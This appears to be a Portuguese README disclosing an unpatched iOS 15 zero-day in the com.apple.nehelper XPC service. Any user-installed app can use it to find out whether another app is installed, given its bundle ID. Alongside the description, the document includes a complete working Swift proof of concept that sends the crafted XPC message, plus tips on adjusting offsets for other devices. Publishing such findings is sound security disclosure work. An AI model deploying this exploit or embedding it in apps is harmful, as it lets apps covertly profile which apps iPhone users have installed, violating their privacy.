
Exploração de dia zero do iOS 15 (ainda funciona no 15.0.2)
Atualizei este código para evitar usar a API privada diretamente. Leia mais no meu post no blog. No entanto, isso significa que agora este código é específico da versão do iOS e possivelmente específico do modelo do dispositivo. Portanto, se não funcionar no seu dispositivo, recalcule e atualize os offsets no arquivo c.c. O código original pode ser encontrado no branch direct.
A vulnerabilidade permite que qualquer aplicativo instalado pelo usuário determine se algum aplicativo está instalado no dispositivo, dado o seu bundle ID.
O endpoint XPC "com.apple.nehelper" tem um método acessível a qualquer aplicativo que aceita o bundle ID como parâmetro e retorna um array contendo alguns cache UUIDs se o aplicativo com o bundle ID correspondente estiver instalado no dispositivo, ou um array vazio caso contrário.
Isto acontece em -[NEHelperCacheManager onQueueHandleMessage:] em /usr/libexec/nehelper.
func isAppInstalled(bundleId: String) -> Bool {
let connection = xpc_connection_create_mach_service("com.apple.nehelper", nil, 2)!
xpc_connection_set_event_handler(connection, { _ in })
xpc_connection_resume(connection)
let xdict = xpc_dictionary_create(nil, nil, 0)
xpc_dictionary_set_uint64(xdict, "delegate-class-id", 1)
xpc_dictionary_set_uint64(xdict, "cache-command", 3)
xpc_dictionary_set_string(xdict, "cache-signing-identifier", bundleId)
let reply = xpc_connection_send_message_with_reply_sync(connection, xdict)
if let resultData = xpc_dictionary_get_value(reply, "result-data"), xpc_dictionary_get_value(resultData, "cache-app-uuid") != nil {
return true
}
return false
}